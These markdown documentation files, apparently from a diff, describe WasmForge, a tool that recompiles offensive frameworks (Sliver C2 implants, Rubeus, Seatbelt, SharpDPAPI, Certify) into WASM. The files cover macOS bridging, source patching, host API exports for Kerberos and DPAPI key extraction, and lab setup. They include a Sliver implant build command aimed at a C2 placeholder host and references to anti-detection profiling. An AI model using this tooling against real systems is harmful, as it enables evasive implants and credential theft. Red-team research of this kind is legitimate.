**`CallMasked` pointer translation:**
- Per-argument bitmask controls which arguments are WASM pointers (strings, buffers) vs host values (ObjC IDs, selectors)
- `RegisterFunc` builds the mask automatically from argument types
**Host-side block construction:**
- ObjC blocks are constructed in host memory (not WASM linear memory) via dedicated host functions, because `_Block_copy` dereferences pointers inside the layout struct
**Callback trampolines:**
- `NewCallback` creates real native C function pointers on the host via `purego.NewCallback`, connected to the WASM guest through a yield-based channel protocol
## Validated macOS Programs
| Program | Description | Status |
| ---------------------------------------------------------------- | ---------------------------------------------------- | --------------------------------------------------------------- |
| **Sliver** (beacon) | C2 framework | `pwd`, `ls`, `download`, `mkdir`, `execute` |
| **Sliver** (session) | C2 framework, interactive mode | `pwd`, `ls`, `download`, `mkdir`, `execute`, SOCKS5 proxy |
| **[Sibyl](https://github.com/praetorian-inc/sibyl)** | Mythic C2 agent using `purego/objc` | NSURLSession transport, ObjC class registration, TLS delegate, `dispatch_semaphore`, full agent init |
[Sibyl](https://github.com/praetorian-inc/sibyl) demonstrates the most complex purego/ObjC integration validated to date — a fully native-looking macOS agent that compiles through WasmForge with zero source modifications.
## Building Sliver for macOS
See [BUILDING-SLIVER.md](./BUILDING-SLIVER.md) for a full step-by-step Sliver build walkthrough covering both Windows and macOS targets.
Short version:
```bash
# Generate Sliver source targeting macOS (from a running Sliver server)
# generate --os darwin --arch amd64 --http https://YOUR_C2:8443 --save /tmp/sliver-mac --skip-symbols
# Build with WasmForge
GOWORK=off GOOS=darwin GOARCH=amd64 ./wasmforge build -v -o /tmp/sliver-implant /tmp/sliver-darwin-src/
```
## What's Different vs Windows Targets
| Aspect | Windows | macOS |
| ----------------------------- | ------------------------------------------------ | ------------------------------------------------ |
| Platform API flag | `--win32-apis` required | Auto-enabled from `GOOS=darwin` |
| Output format | PE (Windows executable) | Mach-O |
| Code signing | Authenticode (`osslsigncode`) — auto by default | Not currently supported |
| Pointer translation | Shadow memory + COM vtable mirroring | Direct pointer translation only |
| Framework access | Win32 DLLs via `SyscallN` | macOS `.framework` bundles via `dlopen`/`dlsym` |
| Architectures | `amd64` | `amd64`, `arm64` |
## Related Documentation
- [Main README](../README.md) — quick start and feature overview
- [BUILDING-SLIVER.md](./BUILDING-SLIVER.md) — full Sliver build walkthrough (Windows + macOS)
- [GHOST-PROFILES.md](./GHOST-PROFILES.md) — anti-detection symbol profiling
- [CSHARP.md](./CSHARP.md) — .NET project compilation (Windows-only)
+176
View File
@@ -0,0 +1,176 @@
# AST Patcher
The AST patcher (`internal/patch/csharp_ast_patcher.go` +
`internal/patch/csharp_ast_patcher_runner.go`) is the production code
path for applying NativeAOT-WASI source patches to .NET projects
(Seatbelt, Rubeus, Certify, SharpDPAPI, etc.). It replaces the legacy
text patcher (`csharp_patcher.go:ApplyCSharpPatches`) as the default
runner; the legacy path is retained as a `--legacy` CLI fallback only.
## Overview
```
.cs file ──parse──▶ tree-sitter AST ──visit──▶ EditList ──apply bottom-up──▶ new bytes
[]ASTRule
(filtered by Files() glob)
```
For each file under `srcDir`:
1. The runner walks every `.cs` file matching at least one rule's `Files()` glob.
2. For each match, parses the file into a tree-sitter C# AST once.
3. For every rule whose glob matches that file, runs `Visit(root, source, edits)` which appends byte-range edits.
4. Calls `EditList.ApplyBottomUp(source)` to apply all collected edits in descending offset order (so earlier edits don't shift later offsets).
5. If the file changed, writes it back.
Coverage tracking: the runner records which rules emitted at least one
edit. `--verbose` mode reports unmatched rules; persistent unmatches on
files that *should* be touched are the canary for upstream-source drift.
## Rule Types
Two flavors of rule live in `internal/patch/rules/`:
### `LegacyTextRule` (`legacy.go`)
Wraps the existing `CSharpPatch{Old, New, Description, FileGlob}` data
shape behind the `ASTRule` interface. Inside `Visit`, it does
`strings.Index` lookup and emits one edit per match, mirroring the
legacy `strings.ReplaceAll` semantics. Idempotency check
(`strings.Contains(src, New)`) matches the legacy code path.
This is what 241 / 241 currently-registered rules use. New rules SHOULD
prefer real AST patterns (below); use `LegacyTextRule` only for surgical
patches that depend on exact text shapes.
### True AST rules (future)
A real AST rule walks the tree-sitter parse tree to find structural
matches (attribute on method, identifier in class, etc.) and emits
edits against the matched node's byte range. These survive whitespace
and ordering changes in the source they patch, so they're more robust
than `LegacyTextRule` against upstream code drift.
Stub example (not yet registered; pattern only):
```go
// MemberAccessRewriteRule rewrites every "X.Foo" → "Y.Foo" in matching files.
type MemberAccessRewriteRule struct {
From string // "X.Foo"
To string // "Y.Foo"
Glob string
Desc string
}
func (r *MemberAccessRewriteRule) Description() string { return r.Desc }
func (r *MemberAccessRewriteRule) Files() []string { return []string{r.Glob} }
func (r *MemberAccessRewriteRule) Visit(root *tree_sitter.Node, src []byte, edits *patch.EditList) {
// walk member_access_expression nodes, match the text against r.From,
// emit edit spanning the node's byte range
walk(root, "member_access_expression", func(n *tree_sitter.Node) {
text := string(src[n.StartByte():n.EndByte()])
if text == r.From {
edits.Add(n.StartByte(), n.EndByte(), []byte(r.To))
}
})
}
```
## Adding a New Rule
1. Decide whether the rule fits an AST pattern (preferred) or needs
`LegacyTextRule` (for surgical text matches that are awkward to
express structurally).
2. Add the rule to `internal/patch/rules/`. For `LegacyTextRule`,
append an entry to `csharp_patcher.go:NativeAOTCSharpPatches`
`AllNativeAOTASTRules` picks it up automatically.
3. Write a unit test under `internal/patch/rules/<rule_name>_test.go`
asserting: rule applies on matching input; rule is idempotent
(re-applying is a no-op); rule does NOT apply to obviously
non-matching input.
4. Run `make verify-ast-equivalence SRC=/tmp/seatbelt-fresh` to confirm
the equivalence verifier still passes (or documents the new
divergence).
5. Run `make test-parity-seatbelt` (and `test-parity-rubeus` if the
rule targets Rubeus) — both must still pass.
## Debugging a Rule That Doesn't Match
`wasmforge dotnet-patch --verbose <src>` prints the coverage summary:
```
AST patcher: applied 41/241 rules (200 unmatched — possible upstream drift)
```
The 200 unmatched rules either:
- Target files not present in `<src>` (e.g., Rubeus rules in a Seatbelt build — expected).
- Match files but the `Old` text isn't found (real drift — investigate).
For the second case, the typical workflow:
1. Grep `csharp_patcher.go` for the rule's `Description` to find its definition.
2. Compare the rule's `Old` text against the current source in `<src>`. Whitespace, line endings, or upstream rephrasing are common breaks.
3. Either update `Old` to match new upstream text OR rewrite as a true AST rule that's invariant to the formatting drift.
## Equivalence Verifier
```bash
make verify-ast-equivalence SRC=/tmp/seatbelt-fresh
```
This snapshots `SRC` to two temp dirs, runs the legacy patcher on one
and the AST patcher on the other, then byte-diffs every `.cs` file
under both trees. Any non-zero diff is reported with the file path and
the first ~10 differing bytes from each side.
**Known residual:** 1 cosmetic comment diff in
`Commands/Windows/ExplorerMRUsCommand.cs` — two rules touch the same
span; sequential application (legacy) and single-pass application
(AST) produce different orderings of an informational comment. The
null guard that matters is identical in both outputs.
## Coverage Report
`wasmforge dotnet-patch <src>` (no verbose) prints the summary:
```
AST patcher: applied N/M rules
```
`<src>` outputs from a Seatbelt build look like:
```
AST patcher: applied 42/241 rules (199 unmatched — possible upstream drift)
```
199 unmatched is correct: those rules target Rubeus/Certify/SharpDPAPI
files not present in a Seatbelt source tree. Per-rule coverage tracking
exists so future audits can quickly identify which specific rules drifted
without skimming all 241.
## Migration Strategy
The original plan called for category-by-category migration of all 241
text rules to true AST patterns. After auditing the actual rule shapes,
that approach was abandoned — most rules are bespoke per-file surgical
patches that don't fit 6 clean parameterized categories.
Current state: all 241 rules use `LegacyTextRule`. Future selective
upgrades to true AST rules are tracked per-rule and can happen
incrementally — each upgrade keeps the equivalence verifier green and
the parity sweep PASSing.
## Files
| File | Purpose |
|---|---|
| `internal/patch/csharp_ast_patcher.go` | `ASTRule` interface, `EditList`, parse helpers |
| `internal/patch/csharp_ast_patcher_runner.go` | `ApplyCSharpASTPatches`, `VerifyEquivalence`, `CoverageReport` |
| `internal/patch/rules/legacy.go` | `LegacyTextRule` adapter |
| `internal/patch/rules/rules.go` | `AllNativeAOTASTRules()` aggregator |
| `internal/patch/csharp_patcher.go` | Legacy data (the 241 `CSharpPatch` entries); legacy `ApplyCSharpPatches` retained as `--legacy` fallback |
| `docs/internals/PARITY-HARNESS.md` | How the parity sweep validates patcher output end-to-end |
+270
View File
@@ -0,0 +1,270 @@
# wasmforge Host API Contract
This document is the source of truth for `env.*` imports exposed to WASM.
Adding a new export requires adding a row here with rationale, classified
under one of categories A/B/C below. Category D ("Unjustified") is a CI failure.
The contract is CI-enforced by `internal/hostmod/contract_test.go`.
## Categories
- **A. Foundation primitive** — generic dispatch / memory / handle operations
that nothing higher up can replicate. Examples: `mod_invoke`, `mem_alloc`,
`mod_hread`. WASM cannot do these.
- **B. OS proxy** — direct syscall passthrough where the OS API has no
equivalent representation inside the WASM sandbox. Examples: `sock_open`,
`fd_open`, `os_hostname`, `darwin_call`. WASM cannot reach the kernel
on its own.
- **C. Atomic composite (host-thread-affinity)** — a multi-step Win32 dance
that legitimately needs host thread/process state (SYSTEM impersonation,
COM STA-thread affinity, or both). Examples: `lsa_kerbop`. Cannot be
replicated by `wf_call` chains in WASM.
- **D. Unjustified** — should be migrated to WASM via `wf_call`. CI fails
if anything in this category lands.
---
## NativeAOT-WASI active surface (Rubeus / Seatbelt path)
Functions registered in `internal/hostmod/nativeaot.go` and exercised by
the Rubeus/Seatbelt parity test suite. Probe-verified against Rubeus.wasm.
| Canonical (Go-side) | Anonymized (WASM import) | Category | Rationale |
|---|---|---|---|
| win32_syscalln | mod_invoke | A | Generic wf_call dispatch — foundation |
| win32_load_library | mod_load | A | DLL loading — foundation |
| win32_get_proc_address | mod_resolve | A | Symbol resolution — foundation |
| win32_host_read_bytes | mod_hread | A | Cross-boundary memory read — foundation |
| win32_register_funcptr | mod_regptr | A | Callback infrastructure — foundation |
| win32_lsa_kerberos_op | lsa_kerbop | C | SYSTEM impersonation + COM STA + LSA on same thread; cannot reproduce via wf_call chains in WASM |
| win32_crypto_op | xc_op | C | Generic crypto dispatcher. Runs the iteration loop of MS-PBKDF2 (Windows DPAPI master-key derivation), RFC PBKDF2, HMAC, plain hash, and AES-CBC host-side via BCrypt. The in-bridge alternative (looping `wf_call` per HMAC) costs ~32k wf_calls per master key (~40 min); the dispatcher is one wf_call per derivation. Designed as the **landing pad for future complex/looped crypto** so we don't grow the host export surface per new primitive. Opcode catalog: sha1/sha256/sha512, hmac1/256/512, pbkdf2_1/256/512, mspbkdf2_1/mspbkdf2_512, aescbcdec |
| win32_io_op | xi_op | B | Generic IO dispatcher. Sibling to xc_op for filesystem operations. Replaces the 6-8 wf_call CreateFile+ReadFile+CloseHandle chain in `fs_read_all` (~46ms per file) with a single host trip via Go's `os.ReadFile` (~<1ms per file). Opcode catalog: read, stat, list. Same wire format as xc_op (opcode string + length-prefixed packed byte fields). Future filesystem ops add opcodes, not exports. |
| win32_reg_search | reg_search | C | Host-side BFS walker for SharpDPAPI's `search` verb. Walks the supplied hive enumerating every value and matches against SharpDPAPI's DPAPI provider GUID + 4 base64/hex string signatures. Doing this in WASM costs ~4 wf_calls per visited key × ~500K HKLM keys → exceeds the lab's 5-minute exec timeout. Host-side BFS uses parent-handle propagation at native Win32 speed (`RegOpenKeyEx(parent, child, …)` — no full-path lookup per key) and completes both hives in seconds. Wire format: NUL-separated UTF-8 records, first record is the "Root:" line matching native FindRegistryBlobs |
| win32_dpapi_backupkey | dpapi_bkey | C | Host-side DsGetDcNameW + LsaOpenPolicy + 2× LsaRetrievePrivateData chain for SharpDPAPI's `backupkey` verb. DsGetDcName writes a `DOMAIN_CONTROLLER_INFOW*` (host pointer) to its OUT param; LsaRetrievePrivateData writes a `LSA_UNICODE_STRING*` (host pointer) whose Buffer field is also a host pointer. wasm32 C# would truncate both via Marshal.PtrToStructure on a 32-bit IntPtr → OOB trap. Single wf_call returns the materialised DC FQDN + 16-byte preferred-key GUID + raw key blob; C# assembles the kirbi (PVK wrapping + base64). Wire format: packed (status u32, dc_name length-prefixed, guid length-prefixed, key_blob length-prefixed) |
| win32_x509_match | x509_match | C | Host-side X.509 store walker for SharpDPAPI's `machinetriage` cert-matching path. Native walks `CurrentUser\MY` + `LocalMachine\MY` then for each cert calls `cert.PublicKey.Key.ToXmlString` (System.Security.Cryptography PNS on NativeAOT-WASI) to compare against a private-key XML derived from the decrypted blob. The bridge takes raw big-endian RSA modulus bytes (extracted by manual byte slicing on the C# side — no crypto calls), walks both stores via `CertEnumCertificatesInStore`, parses each cert's SubjectPublicKeyInfo via `crypto/x509`, compares moduli, and on match returns packed metadata (thumbprint, issuer, subject, dates, EKUs, cert DER) for C# to format the multi-line output + PEM-wrap. Wire format: status u32, then on match 7 length-prefixed records |
| win32_virtual_alloc | mem_alloc | A | Host memory allocation — foundation |
| win32_virtual_free | mem_free | A | Host memory free — foundation |
| win32_hmem_read | mem_read | A | Cross-boundary memory read — foundation |
| win32_hmem_write | mem_write | A | Cross-boundary memory write — foundation |
| win32_hmem_write32 | mem_write32 | A | Cross-boundary u32 write — foundation |
| win32_hmem_write64 | mem_write64 | A | Cross-boundary u64 write — foundation |
| win32_hmem_addr | mem_addr | A | Host VA retrieval — foundation |
| win32_wmi_query_restricted | wmi_query_r | C | Atomic WMI query for restricted namespaces (root\SecurityCenter2, ROOT\Subscription) that fire IUnknown auth callbacks during ConnectServer. The host implementation calls CoSetProxyBlanket and runs the entire IWbemServices chain on a COM STA thread so callbacks never cross the WASM FFI boundary. Seatbelt AntiVirus and WMIEventConsumer parity require this; cannot trivially replicate in WASM-side wf_call chains |
---
## Foundation primitives — socket / networking (all targets)
Registered in `internal/hostmod/module.go`, `tcp.go`, `udp.go`, `io.go`,
`dns.go`, `sockopt.go`. Used by all WASM targets (Go and NativeAOT alike).
| Canonical (Go-side) | Anonymized (WASM import) | Category | Rationale |
|---|---|---|---|
| sock_open | fd_open | B | Socket creation — WASM has no kernel socket syscall |
| sock_bind | fd_bind | B | Bind to local address |
| sock_listen | fd_listen | B | Mark socket as listening |
| sock_connect | fd_connect | B | TCP/UDP connect |
| sock_accept | fd_accept | B | Accept incoming connection |
| sock_read | fd_read2 | B | Non-blocking socket read |
| sock_write | fd_write2 | B | Non-blocking socket write |
| sock_close | fd_close2 | B | Socket close |
| sock_sendto | fd_sendto | B | UDP datagrams — sendto |
| sock_recvfrom | fd_recvfrom | B | UDP datagrams — recvfrom |
| sock_shutdown | fd_shutdown | B | Graceful socket shutdown |
| sock_setsockopt | fd_setsockopt | B | Socket option set |
| sock_getsockopt | fd_getsockopt | B | Socket option get |
| sock_getpeername | fd_getpeername | B | Remote address query |
| sock_getsockname | fd_getsockname | B | Local address query |
| sock_getaddrinfo | addr_resolve | B | DNS resolution — WASM has no getaddrinfo |
---
## Foundation primitives — raw sockets (requires --raw-sockets)
Registered in `internal/hostmod/raw.go`.
| Canonical (Go-side) | Anonymized (WASM import) | Category | Rationale |
|---|---|---|---|
| raw_sock_open | fd_raw_open | B | SOCK_RAW creation — requires CAP_NET_RAW, not available in WASM |
| raw_sock_send | fd_raw_send | B | Raw packet send |
| raw_sock_recv | fd_raw_recv | B | Raw packet receive |
---
## Foundation primitives — OS proxies (all targets)
Registered in `internal/hostmod/os_host.go` and `os_exec.go`.
| Canonical (Go-side) | Anonymized (WASM import) | Category | Rationale |
|---|---|---|---|
| os_hostname | sys_hostname | B | gethostname — not available in wasip1 |
| os_getwd | sys_getwd | B | getcwd — WASI path mapping doesn't expose host cwd |
| os_chdir | sys_chdir | B | chdir — host working directory change |
| os_user_current | sys_user | B | getpwuid / GetCurrentUser — not available in WASM |
| os_getpid | sys_pid | B | getpid — WASI has no process ID concept |
| os_process_list | sys_procs | B | Process enumeration — OS-specific, no WASM equivalent |
| os_exec | proc_exec | B | CreateProcess/exec with output capture |
| os_start_process | proc_start | B | Non-blocking process start |
| os_wait4 | proc_wait | B | Wait for child process completion |
| net_interfaces | sys_netifs | B | Network interface enumeration — no WASM equivalent |
---
## Foundation primitives — pipes (all targets)
Registered in `internal/hostmod/pipe.go`.
| Canonical (Go-side) | Anonymized (WASM import) | Category | Rationale |
|---|---|---|---|
| os_pipe | fd_pipe | B | Host pipe pair creation — os.Pipe() returns ENOSYS on wasip1 |
| pipe_read | fd_pread | B | Read from host pipe |
| pipe_write | fd_pwrite | B | Write to host pipe |
| pipe_close | fd_pclose | B | Close host pipe |
---
## --win32-apis Go-side surface (non-NativeAOT)
Functions used by `wasmforge build --win32-apis` with Go source input
(Sliver, Tribunus, gogokatz, goffloader, etc.). Registered via
`internal/hostmod/win32.go`. Not exercised by the Rubeus/Seatbelt parity
tests, but kept for the broader product surface.
### Dispatch / module loading
| Canonical (Go-side) | Anonymized (WASM import) | Category | Rationale |
|---|---|---|---|
| win32_available | mod_available | B | Feature-gate check — thin flag check |
| win32_load_library | mod_load | A | LoadLibraryA — also registered by nativeaot.go |
| win32_get_proc_address | mod_resolve | A | GetProcAddress — also registered by nativeaot.go |
| win32_call | mod_call | B | Call proc (≤6 uint32 args) — thin DLL wrapper for Go programs |
| win32_syscalln | mod_invoke | A | SyscallN (≤15 i64 args) — also registered by nativeaot.go |
| win32_free_library | mod_free | B | FreeLibrary |
| win32_close_handle | mod_close | B | CloseHandle (generic) |
| win32_proc_addr | mod_addr | A | Native address of loaded proc — foundation |
| win32_proc_from_hmem | mem_proc | B | Proc from host memory handle — goffloader pattern |
| win32_register_funcptr | mod_regptr | A | Callback registration — also registered by nativeaot.go |
| win32_host_read_bytes | mod_hread | A | Host memory read — also registered by nativeaot.go |
| win32_new_callback | ext_callback | B | NewCallback (function pointer thunk for Go closures) |
### Registry
| Canonical (Go-side) | Anonymized (WASM import) | Category | Rationale |
|---|---|---|---|
| win32_reg_open_key | win32_reg_open_key | B | RegOpenKeyExW — thin wrapper |
| win32_reg_close_key | win32_reg_close_key | B | RegCloseKey — thin wrapper |
| win32_reg_query_value | reg_query | B | RegQueryValueExW |
| win32_reg_set_value | reg_set | B | RegSetValueExW |
| win32_reg_delete_value | reg_delete | B | RegDeleteValueW |
| win32_reg_enum_key | win32_reg_enum_key | B | RegEnumKeyExW — thin wrapper |
### Filesystem
| Canonical (Go-side) | Anonymized (WASM import) | Category | Rationale |
|---|---|---|---|
| win32_create_file | fs_create | B | CreateFileW |
| win32_read_file | fs_read | B | ReadFile |
| win32_write_file | fs_write | B | WriteFile |
| win32_get_file_attrs | fs_getattr | B | GetFileAttributesW |
| win32_set_file_attrs | fs_setattr | B | SetFileAttributesW |
| win32_find_files | fs_findfiles | B | FindFirstFileW + FindNextFileW enumeration |
### Process
| Canonical (Go-side) | Anonymized (WASM import) | Category | Rationale |
|---|---|---|---|
| win32_get_computer_name | sys_compname | B | GetComputerNameW |
| win32_create_process | proc_create | B | CreateProcessW |
| win32_open_process | proc_open | B | OpenProcess |
| win32_terminate_process | proc_term | B | TerminateProcess |
### Security / tokens
| Canonical (Go-side) | Anonymized (WASM import) | Category | Rationale |
|---|---|---|---|
| win32_open_process_token | sec_opentoken | B | OpenProcessToken |
| win32_get_token_info | sec_tokeninfo | B | GetTokenInformation |
| win32_open_sc_manager | svc_open | B | OpenSCManagerW |
| win32_query_service_status | svc_status | B | QueryServiceStatus |
### Host memory (VirtualAlloc proxy for goffloader/COFF)
| Canonical (Go-side) | Anonymized (WASM import) | Category | Rationale |
|---|---|---|---|
| win32_virtual_alloc | mem_alloc | A | VirtualAlloc on host — also registered by nativeaot.go |
| win32_virtual_protect | mem_protect | B | VirtualProtect — change host memory protection |
| win32_virtual_free | mem_free | A | VirtualFree — also registered by nativeaot.go |
| win32_hmem_write | mem_write | A | WASM→host memory copy — also registered by nativeaot.go |
| win32_hmem_read | mem_read | A | Host→WASM memory copy — also registered by nativeaot.go |
| win32_hmem_write32 | mem_write32 | A | u32 write at host offset — also registered by nativeaot.go |
| win32_hmem_write64 | mem_write64 | A | u64 write at host offset — also registered by nativeaot.go |
| win32_hmem_read32 | mem_read32 | B | u32 read from host offset |
| win32_hmem_read64 | mem_read64 | B | u64 read from host offset |
| win32_hmem_addr | mem_addr | A | Host VA retrieval — also registered by nativeaot.go |
| win32_wmi_query_restricted | wmi_query_r | C | Atomic WMI query for restricted namespaces (root\SecurityCenter2, ROOT\Subscription) that fire IUnknown auth callbacks during ConnectServer. The host implementation calls CoSetProxyBlanket and runs the entire IWbemServices chain on a COM STA thread so callbacks never cross the WASM FFI boundary. Seatbelt AntiVirus and WMIEventConsumer parity require this; cannot trivially replicate in WASM-side wf_call chains |
### Extension API (COFF/BOF callbacks)
| Canonical (Go-side) | Anonymized (WASM import) | Category | Rationale |
|---|---|---|---|
| win32_ext_get_func | ext_getfunc | A | Native address of extension callback — foundation for goffloader |
| win32_ext_read_output | ext_readout | B | Read accumulated extension output |
| win32_ext_reset_output | ext_resetout | B | Clear extension output buffer |
### Shadow memory (VirtualAlloc interception)
| Canonical (Go-side) | Anonymized (WASM import) | Category | Rationale |
|---|---|---|---|
| shadow_virtual_alloc | shm_alloc | A | Shadow VirtualAlloc — intercepts guest allocations for WASM pointer translation |
| shadow_virtual_protect | shm_protect | A | Shadow VirtualProtect — tracks protection changes in shadow map |
| shadow_virtual_free | shm_free | A | Shadow VirtualFree — removes allocation from shadow map |
---
## macOS framework bridge (auto-detected from GOOS=darwin)
Registered in `internal/hostmod/darwin.go`. Only functional on macOS hosts.
| Canonical (Go-side) | Anonymized (WASM import) | Category | Rationale |
|---|---|---|---|
| darwin_available | fw_available | B | Feature-gate check |
| darwin_load | fw_load | B | dlopen — load macOS framework or dylib |
| darwin_get_symbol | fw_sym | B | dlsym — get symbol address |
| darwin_call | fw_call | B | Call C function via assembly trampoline (SysV ABI) with WASM pointer translation |
| darwin_call_masked | fw_call_m | B | Call C function with bitmask-controlled pointer translation |
| darwin_call_raw | fw_call_raw | B | Call C function without pointer translation (remote process addresses) |
| darwin_mem_read | fw_mem_r | B | Read host memory into WASM linear memory |
| darwin_mem_write | fw_mem_w | B | Write WASM data to host memory |
| darwin_callback_create | fw_cb_create | A | Create native callback thunk for WASM closure — foundation for macOS delegate patterns |
| darwin_callback_addr | fw_cb_addr | A | Get native address of callback thunk |
| darwin_callback_wait | fw_cb_wait | A | Block until callback fires (cooperative yield) |
| darwin_callback_return | fw_cb_ret | A | Signal callback completion |
| darwin_callback_free | fw_cb_free | A | Release callback thunk |
| darwin_read_cstring | fw_cstr_r | B | Read null-terminated C string from host memory into WASM |
| darwin_block_create | fw_blk_create | A | Create Objective-C Block literal on host — foundation for ObjC API patterns |
| darwin_block_release | fw_blk_release | A | Release Objective-C Block |
| darwin_block_addr | fw_blk_addr | A | Get native address of Block literal |
---
## Retired / out-of-scope re-migration candidates
These functions appeared in nativeaot.go's earlier registration but were
removed because the C# side migrated to WASM-side wf_call chains:
| Former canonical | Former anonymized | Removed in | Notes |
|---|---|---|---|
| win32_wmi_query | wmi_query | Phase B | WASM-side stub |
| win32_wmi_method | wmi_method | Phase B | WASM-side stub |
| win32_get_sddl | (none) | Phase B | WASM-side via wf_call |
| win32_enum_user_rights | (none) | Phase B | WASM-side stub |
| win32_enum_rpc_endpoints | (none) | Phase B | WASM-side stub |
| win32_enum_network_adapters | (none) | Phase B | WASM-side via wf_call |
| win32_get_file_version_info | (none) | Phase B | WASM-side via wf_call |
| win32_enum_reg_values | (none) | Phase B | WASM-side via wf_call (advapi32) |
| win32_parse_sddl_acl | (none) | Phase B | WASM-side passthrough |
| win32_reg_enum_key (nativeaot path) | (none) | Phase B | WASM-side via wf_call |
If a future feature exercises any of these, the migration follows the Phase 2
pattern: write the WASM-side pinvoke_env_ext.c replacement, remove the
`import_module` attribute in `wf_bridge.h`, retire the Go-side Export.
+103
View File
@@ -0,0 +1,103 @@
# Ludus Lab Stability — Root Cause and Fix
## What was broken
The GOAD Ludus lab range (`GOADf97252`) was unreliable for parity testing.
Win11 (10.3.10.98) and DC01 (10.3.10.10) kept powering off ~1× / hour,
leaving the test suite to hit "No route to host" errors mid-run. Earlier
sessions believed this was an autostart / VM-lifecycle problem; that was
wrong.
## Root cause
`wlms.exe` (Windows License Monitoring Service) on both Win11 and DC01
was issuing planned shutdowns hourly. The Windows evaluation license
on both VMs had expired in May 2026, and wlms enters a forced-shutdown
loop once `slmgr.vbs /dlv` shows `License Status: Notification` and
`Remaining Windows rearm count: 0`.
Evidence from Win11 event log (`System` channel, event ID 1074):
```
The process C:\Windows\system32\wlms\wlms.exe (GOADF97252-GOAD) has
initiated the shutdown of computer GOADF97252-GOAD on behalf of user
NT AUTHORITY\SYSTEM for the following reason: Other (Planned)
Reason Code: 0x80000000
Shutdown Type: shutdown
Comment: The license period for this installation of Windows has
expired. The operating system is shutting down.
```
This event fired at 2:47 AM, 1:47 AM, 12:28 AM, 11:24 PM, 10:24 PM, ...
— one entry per hour.
## Fix (applied)
Disabling `wlms` from PowerShell directly fails with "Access is denied"
even as Administrator — the service is owned by `NT SERVICE\TrustedInstaller`.
The fix is to invoke `sc.exe config wlms start=disabled` + `taskkill /F /IM
wlms.exe` from a scheduled task running as `NT AUTHORITY\SYSTEM` with
`-RunLevel Highest`. Equivalent to running with TrustedInstaller token
elevation.
Applied via `scripts/lab-setup/disable-wlms.ps1` (kicked from a scheduled
task) on Win11 (host 10.3.10.98) and DC01 (host 10.3.10.10). Both VMs
now have `wlms` StartType=Disabled and `wlms.exe` not running.
A second scheduled task `WfWlmsGuard` runs at every boot as
`NT AUTHORITY\SYSTEM` to re-disable wlms in case a Windows servicing
event re-enables it. This was registered with `New-ScheduledTaskTrigger
-AtStartup`.
## Other lab-stability fixes (applied)
1. **`/usr/local/sbin/lab-watchdog.sh` + crontab** on the Ludus host —
restarts critical VMIDs (107 router, 108 DC01, 113 Win11, 114 kali)
if they're not in `running` state. Runs every minute.
2. **Autostart on host reboot** — `qm set <vmid> --onboot 1 --startup
order=N` applied to all critical VMs (router first, then DCs, then
member servers, then Win11/kali). Survives Proxmox host reboots.
3. **Domain credentials** — `sevenkingdoms\domainuser` and
`sevenkingdoms\domainadmin` both reset to password `password` via
`net user ... /domain` on DC01. Local Win11 fallback accounts
(created during the earlier session when DC01 was down) removed
with `net user ... /delete` so that labctl SSH falls through to
domain authentication and Kerberos TGTs are cached on session start.
4. **Plant artifacts re-deployed** via
`scripts/lab-setup/{sharpup-plant,sharpdpapi-plant,seatbelt-plant,
seatbelt-extras,rubeus-precache,grant-batch-logon}.ps1` so the
tests have something to find when they run.
## Verification
| Check | Command | Result |
|-------|---------|--------|
| Win11 up | `labctl exec win11-ssh whoami` | `goadf97252-goad\localuser` |
| Domain SSH | `labctl exec win11-domainuser whoami` | `sevenkingdoms\domainuser` |
| Kerberos TGT | `labctl exec win11-domainuser klist` | TGT for `krbtgt/SEVENKINGDOMS.LOCAL` cached |
| DC01 up | `labctl exec dc01-ssh whoami` | `sevenkingdoms\domainadmin` |
| AD operational | `labctl exec dc01-ssh "net user domainuser /domain"` | `The command completed successfully.` |
| wlms killed | `labctl exec win11-ssh "Get-Process wlms"` | `Cannot find a process with the name wlms` |
| wlms disabled | `labctl exec win11-ssh "(Get-Service wlms).StartType"` | `Disabled` |
## Aggregate parity sweep (Phase 3, post-lab-fix)
The lab is stable; remaining FAIL counts reflect wasmforge engine gaps,
not lab limitations:
| Tool | PASS | FAIL | Class of remaining gap |
|------------|------|------|------------------------|
| SharpUp | 7 | 6 | Output drift (plant detail) + 3 slow cases timed-out |
| Seatbelt | 0 | 24 | OSInfo etc. read wrong WASI defaults (hostname=localhost, ProcessorCount=1, TimeZone=UTC, no Domain Name) |
| Rubeus | 0 | 11 | Output diff vs. baselines (binary runs) |
| SharpDPAPI | 0 | 12 | Output diff; backupkey verb requires `LsaRetrievePrivateData` pointer translation |
| SharpView | 0 | 14 | Domain stub fallback now returns "sevenkingdoms.local" but PowerView calls still need LDAP routing |
| Certify | 0 | 11 | `CoInitializeSecurity hr=80070057` — DCOM stack not initialized in WASI |
These FAIL counts are higher than the previous session's run (which only
sampled tests before the lab dropped) because the suite now actually
completes — every case gets exercised. The lab dependency is gone; what
remains is engine work.
+219
View File
@@ -0,0 +1,219 @@
# Parity Harness
The parity harness is a Go test suite that runs each wasmforge-built tool
on a Windows test target, normalizes the output, and diffs against
committed "golden" baselines. It exists to lock in known-good behavior
so future work (AST patcher migration, new bridge functions, etc.)
cannot silently regress tool output.
## Lab requirements
The harness assumes you have stood up an Active Directory test range using:
- **[Ludus](https://gitlab.com/badsectorlabs/ludus)** — Proxmox-based range
orchestration. Provides the Win11 attacker box, the DC, and the
`labctl` workflow used by `internal/labctl` / `scripts/lab-setup/`.
- **[GOAD (Game of Active Directory)](https://github.com/Orange-Cyberdefense/GOAD)** —
the AD topology. The defaults baked into the suite
(`sevenkingdoms.local`, `dc01.sevenkingdoms.local`,
`kingslanding.sevenkingdoms.local\SEVENKINGDOMS-CA`,
`sevenkingdoms\domainuser`, `10.3.10.10`, the GOAD domain SID, etc.)
are GOAD's documented defaults. The five most-used values live in
`test/parity/internal/lab/lab.go` and can be overridden per-range
with `WASMFORGE_PARITY_DOMAIN`, `WASMFORGE_PARITY_DC`,
`WASMFORGE_PARITY_DC_IP`, `WASMFORGE_PARITY_CA`, and
`WASMFORGE_PARITY_USER` environment variables. Tool-specific
constants (domain SID, kerberoast SPNs, etc.) still live as
literals in `test/parity/<tool>/cases.go` — edit those directly if
your range uses different values.
The PowerShell scripts under `scripts/lab-setup/` are idempotent lab
plants run against a freshly-deployed GOADf97252-style range to seed
the misconfigurations the parity tests probe (GPP cpassword, modifiable
services, SharpDPAPI blobs, kerberoastable SPNs, etc.).
## What it does
For every supported tool (`seatbelt`, `rubeus`):
1. **Push** the locally-built `.exe` to `C:\Users\<test-user>\<tool>-parity.exe` on the Windows target.
2. **Run** each tool verb/command on the target via your preferred remote-exec channel (WinRM, SSH, etc.).
